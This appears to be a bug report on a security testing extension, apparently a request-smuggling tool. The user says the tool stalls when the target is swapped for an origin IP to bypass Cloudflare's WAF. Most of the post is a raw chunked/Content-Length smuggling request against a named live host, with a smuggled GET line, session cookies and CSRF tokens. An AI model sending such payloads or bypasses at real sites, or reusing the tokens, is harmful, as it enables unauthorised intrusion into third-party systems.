Extension get stuck when traget header is replace with origin IP

[abhinavsecond]

Hi Team

Extension get stuck after 1 request when I replace target with orgin IP to bypass WAF like cloudflare

For example in the below request I set the target to 174.138.114.138 to bypass WAS and the extension stopped send request after the first request

POST /login HTTP/1.1
Host: manage.nodebb.org
Cookie: _csrf=Z39fo4IpMV3dSc7_AgBl0UdR; connect.sid=s%3ApZgsUDMfFeyfQa7c11AWvaB1HPtPzxds.eUJCR%2FxWCjLceD%2BBQk%2BmFyYReePSctVfbf7T%2FzVagxQ; cf_clearance=WjhRySu7tKucAfkVdu7sKr33mbZWmRc3Dp1SusFNPNA-1760268815-1.2.1.1-9wTyHnJyCEqUpPmREodpL6GEY.R1KEhZJ4EQ7nV8OUv9qvha8bjkgQDRtfJE5YT68NWehZLeX6QjuGv.IvHmyU3uaqqCmjAEcE6OxDWbZVZ05OkWdRlNIVg0WtPmYLaowUDocrrk2dBiUyYIQHWzJotlvAHhifuWwoutz4TDCKFTSPXO0rN_nBcAUd1O9c2VhErMo_m_x43PBylqkGtk54d7WnQ.AqSEQDycM7JgedY; _ga=GA1.2.275020599.1760268815; _gid=GA1.2.617516779.1760268815; _gat=1; _gat_ComboTracker=1; _ga_87JPMD57E1=GS2.2.s1760268815$o1$g0$t1760268815$j60$l0$h0; _ga_J6M59TYKWT=GS2.2.s1760268815$o1$g0$t1760268815$j60$l0$h0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6833.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
fakecontentlength: 119
Origin: null
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="133", "Google Chrome";v="133"
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
Te: trailers
Transfer-Encoding: chunked
Content-Length: 159

6c
email=abhinavattacker%2B1%40gmail.com&password=kuduta%40fxzig.com&_csrf=mNeMQBpu-D_Z29C3ZUWjLZQwHQBhDRJJfI4E
0

GET /404 HTTP/1.1
Host: localhost
x: x